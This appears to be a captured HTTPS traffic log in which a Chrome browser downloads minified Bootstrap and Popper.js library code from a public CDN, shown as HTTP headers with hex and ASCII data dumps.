CF-Cache-Status: HIT Age: 14797 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 875fd88add6cb087-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	401	IN	Data Raw: 37 62 65 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7be9/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 Data Ascii: d:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.is
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 Data Ascii: ar e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._d
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._eleme
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 Data Ascii: :"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-it
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 Data Ascii: val),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fi
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 Data Ascii: if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 Data Ascii: ent(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).r
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 Data Ascii: D_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="colla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	104.17.24.14	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	597	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://statesborozga.cfd sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://statesborozga.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 525738 Expires: Mon, 07 Apr 2025 22:28:02 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GvNjHLGI2HEyaO5VDvlAbE0fmG0x4kDLVTA7QoZBkGVQ%2B90M%2F3061S5%2BakjOSAtfkonMWQ%2BZ0g2mOIyWAkm7KkPpb7ZjGvMpuyGxioaGpwhPfTyuyOd%2BcvwYPvXFSxJSp7StSR23"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 875fd88c99c1b06f-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	407	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 Data Ascii: !==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docume
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f Data Ascii: t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bo
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 Data Ascii: top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}ret
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e Data Ascii: eight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 Data Ascii: ole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={ins
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 Data Ascii: this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pa
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 Data Ascii: eturn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){r
